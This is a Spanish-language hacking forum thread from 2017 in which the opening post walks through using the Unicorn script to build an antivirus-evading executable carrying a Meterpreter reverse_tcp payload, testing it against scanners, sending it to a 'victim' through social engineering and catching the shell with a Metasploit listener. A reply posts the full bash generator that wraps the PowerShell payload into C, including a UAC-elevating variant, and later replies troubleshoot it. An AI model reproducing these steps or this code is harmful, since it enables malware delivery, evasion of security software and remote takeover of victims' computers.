Evadiendo Antivirus con Unicorn

Iniciado por ANTRAX, Mayo 25, 2017, 11:40:25 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

¿que es POWERSHELL?, Según Wikipedia:

CitarWindows PowerShell es una interfaz de consola (CLI) con posibilidad de escritura y unión de comandos por medio de instrucciones (scripts en inglés). Es mucho más rica e interactiva que sus predecesores, desde DOS hasta Windows 7. Esta interfaz de consola está diseñada para su uso por parte de administradores de sistemas, con el propósito de automatizar tareas o realizarlas de forma más controlada. Originalmente denominada como MONAD en 2003, su nombre oficial cambió al actual cuando fue lanzada al público el 25 de abril del 2006.

En definitiva es la linea de comandos de Windows pero mas mejor

Continuemos, desde powershell podemos hacer todo lo que hacemos con el mouse y aun mas cosas ya que te permite crear tareas automatizadas (siempre y cuando uno tenga los conocimientos...obviamente!)

En el ambiente de la seguridad se viene hablando de Powershell como "arma de ataque" desde el 2o1o (Dato que me ayudo MI amigo personal GOOGLE) que fue en la BLACKHAT de ese año en donde se mostró al powershell como vector de ataque (acá la diapo de esa charla, obvio en ingles).

No solo se hablaba de Powershell sino de lo jodido que era para las herramientas ANTIMALWARE y ANTIVIRUS detectar este tipo de scripts, recordemos que Powershell viene en Windows desde la version 7 SP1 y 2008 R2 en donde se instalo la versión 1.0 y hoy en día ya viene por default en todos los Windows y se encuentra en Windows 8.1 y Server 2012 R2 en la version 4.0 por lo tanto es una genial idea pensar en atacar con POWERSHELL ya que afecta a la gran mayoría de los equipos con sistemas operativos de MICROSOFT.

En este post vamos a ver un script en particular escrito en PYTHON que ahora no tengo ganas de explicar que es Python asique te dejo el link que te va a aclarar muchas dudas: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

El script se basa en la técnica llamada: "downgrade en Powershell para inyectar un shellcode en memoria"

Se presento por primera vez en la DEFCON 18 (2003) VIDEO DE LA PRESENTACION


El script se llama UNICORNIO (por eso el nombre del post) básicamente genera un código en C que luego de compilarlo se obtiene un ejecutable ("win32" o ".exe" según como quieras llamarlo) y lo mejor de todo es que es 100% indetectable por los AV que existen actualmente.

1- Abrimos KALI y luego Leafpad (block de notas en KALI (Applications > Leafpad)


2 – Copiamos y Pegamos el script que bajamos de la pagina OFICIAL del tipito dueño en el LeafPad.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

nos queda algo así:


3 – Click en FILE > SAVE AS > NAME: "Unicornio.sh" en el DESKTOP (o donde te resulte mas fácil) y por ultimo click en SAVE. Con eso ya lo tenes en el escritorio del KALI.


4 – Luego abrimos una Shell, y nos movemos al desktop con "cd Desktop" y luego hacemos "./Unicornio.sh windows/meterpreter/reverse_tcp 192.168.133.166 443 nonuac"

    Donde dice "./Unicornio.sh" significa que vamos a usar ese script.
    Donde dice "windows/meterpreter/reverse_tcp" es el Payload que voy a usar.
    Donde dice "192.168.133.166" pones la IP del KALI que la obtenes con el comando "IFCONFIG"
    Donde dice "443" es el puerto que vamos a usar.


Se va a ejecutar algo así... si un UNICORNIO.


Cuando esto termine, dentro de la carpeta /root vamos a encontrar un archivo que se llama "unicorn.c"


Click con el boton derecho y le damos en "Open with Leafpad", luego cuando se abre hacemos click en "EDIT" y luego en "SELECT ALL" y finalmente en "COPY".

5- Con ese "COPY" que acabamos de hacer nos dirigimos a No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y borramos lo que hay y pegamos lo que acabamos de copiar y le damos click en COMPILE sin tocar nada mas.


Nos va a aparecer algo asi:


Un archivo de nombre raro con ".EXE" lo descargamos porque ese es nuestro SCRIPT compilado para Windows. Luego vamos a la carpeta "Download" y le cambiamos el nombre a lo que nosotros queramos, yo le puse VIRUSKALQ.exe y lo moví al Desktop para mas comodidad pero cada uno hace lo que quiere.

6- Probamos que no sea detectable por los Antivirus mas Comerciales acá usamos las siguientes paginas de análisis de malware.

    No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
    No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Pueden usar las 2 o la que mas bronca les genere

Acá les muestro los resultados:


Ya se, te quieres morir el Antivirus que vos tenes instalado NO LO DETECTO y ya estas pensando en cuantos otros archivos así no detecto... tenes que pensar que es 1 o 2 por cada pagina porno que visitaste así que... seguramente sean muchos jajajaja

7- El archivo malicioso se lo enviamos a la victima con ingeniería Social, pero antes en KALI tenemos que ejecutar el "LISTENER" (y no hablamos del enjuague bucal) asi que hacemos lo siguiente:

Abrimos Metasploit con el comando "msfconsole" y ejecutamos lo siguientes comandos y te va a quedar esperando que la victima haga click en el archivo malisioso:


Luego la victima ejecuta el archivo y listo


Bien clarito WINDOWS 8.1 64 Bits..

Autor: Matías


Mayo 27, 2017, 04:36:03 AM #1 Ultima modificación: Mayo 27, 2017, 07:09:08 AM por sadfud
Código: bash
#!/bin/bash
clear
echo '--------------------------------------'
echo ' Unicorn Powershell2C code generator  '
echo 'Works for Vista, Win7, Win8 32/64 bit'
echo '--------------------------------------'
if [ -z "$*" ];then 
echo 'Usage: unicorn2c.sh payload reverse_ipaddr port platform'
echo 'Example: unicorn2c.sh windows/meterpreter/reverse_tcp 192.168.1.5 443 nonuac'
echo 'Valid platforms are: nonuac uac'
exit 0
fi
case $4 in
nonuac)
echo 'Generating nonUAC unicorn.c ...'
python unicorn.py $1 $2 $3 
echo '#include <stdio.h>' > unicorn.c
echo '#include <string.h>' >> unicorn.c
echo '#include <stdlib.h>' >> unicorn.c
echo '#include <ctype.h>' >> unicorn.c
echo '#include <aclapi.h>' >> unicorn.c
echo '#include <shlobj.h>' >> unicorn.c
echo '#include <windows.h>' >> unicorn.c
echo '#pragma comment(lib, "advapi32.lib")' >> unicorn.c 
echo '#pragma comment(lib, "shell32.lib")' >> unicorn.c
echo 'int main(int argc, char *argv[])' >> unicorn.c
echo '{' >> unicorn.c
echo 'FreeConsole();' >> unicorn.c 
echo -n ' ShellExecute( NULL,NULL, "powershell.exe", "' >> unicorn.c
cat powershell_attack.txt | sed -r 's/^.{11}//' >> unicorn.c
echo -n '",NULL,NULL);' >> unicorn.c
echo '' >> unicorn.c
echo 'exit(0);' >> unicorn.c
echo '}' >> unicorn.c
todos unicorn.c
echo '[*] Exported unicorn.c To compile use cl.exe unicorn.c'
;;

uac)
echo 'Generating UAC  unicorn.c ...'
python unicorn.py $1 $2 $3
echo '#include <stdio.h>' > unicorn.c
echo '#include <string.h>' >> unicorn.c
echo '#include <stdlib.h>' >> unicorn.c
echo '#include <ctype.h>' >> unicorn.c
echo '#include <windows.h>' >> unicorn.c
echo '#include <aclapi.h>' >> unicorn.c
echo '#include <shlobj.h>' >> unicorn.c
echo '#pragma comment(lib, "advapi32.lib")' >> unicorn.c
echo '#pragma comment(lib, "shell32.lib")' >> unicorn.c
echo 'int main(int argc, char *argv[])' >> unicorn.c
echo '{' >> unicorn.c
echo 'FreeConsole();' >> unicorn.c
echo -n ' ShellExecute( NULL, "runas", "powershell.exe", "' >> unicorn.c
cat powershell_attack.txt | sed -r 's/^.{11}//' >> unicorn.c
echo -n '",NULL,NULL);' >> unicorn.c
echo '' >> unicorn.c
echo 'exit(0);' >> unicorn.c
echo '}' >> unicorn.c
todos unicorn.c
echo '[*] Exported unicorn.c To compile use cl.exe unicorn.'
;;

"")
echo 'Usage: unicorn2c.sh payload reverse_ipaddr port platform'
echo 'Example: unicorn2c.sh windows/meterpreter/reverse_tcp 192.168.1.5 443 nonuac'
echo 'Valid platforms are: nonuac, uac'
exit 0
;;
esac



inserto ese codigo en el leafpad y le llamo "unicornio.sh" lo guardo en el escritorio
abro consola ejecuto ./unicornio.sh windows/meterpreter/reverse_tcp mi-no-ip 4444 nonuac

y me da este error

Código: text
--------------------------------------
Unicorn Powershell2C code generator 
Works for Vista, Win7, Win8 32/64 bit
--------------------------------------
Generating nonUAC unicorn.c ...
python: can't open file 'unicorn.py': [Errno 2] No such file or directory
cat: powershell_attack.txt: No existe el fichero o el directorio
./unicornio.sh: línea 35: todos: no se encontró la orden
[*] Exported unicorn.c To compile use cl.exe unicorn.c

si abro el archivo que se genera "unicornio.c" sale esto

Código: c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <aclapi.h>
#include <shlobj.h>
#include <windows.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shell32.lib")
int main(int argc, char *argv[])
{
FreeConsole();
ShellExecute( NULL,NULL, "powershell.exe", "",NULL,NULL);
exit(0);
}


y he probado en lugar de no-ip poner la ip de kali y es lo mismo


pd:para compilar online suelo usar
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


Interesante post. habra que probarlo  :) ;D Cuando tenga duda lo publicare.

Primera duda esto es como una especie de "crypter"?

No, es un metodo de evasión

Saludos,
ANTRAX


Antes que nada mi reconocimiento y agradecimiento a la labor de nuestro compañero Antrax. Pues bien dicho esto expongo mi duda: al ejecutar el script No tienes permitido ver enlaces. Registrate o Entra a tu cuenta me genera un archivo .rc y no .c. A qué puede deberse el problema. Perdón por mi ignorancia y gracias de nuevo.


No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
no lo encuentro ahora!

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Un saludo.



Buenas.
tengo un error al copilar el archivo al parecer me saca error en la copilacion a que se deberia esto?

hola lo extraño es que cuando hago "./Unicornio.sh windows/meterpreter/reverse_tcp 192.168.133.166 443 nonuac" oviamente con la ip de Kali, se crean los archivos powershell atac.txt y unicorn.rc pero no encuentro por ningún lado el unicorn.c

alguien me puede ayudar???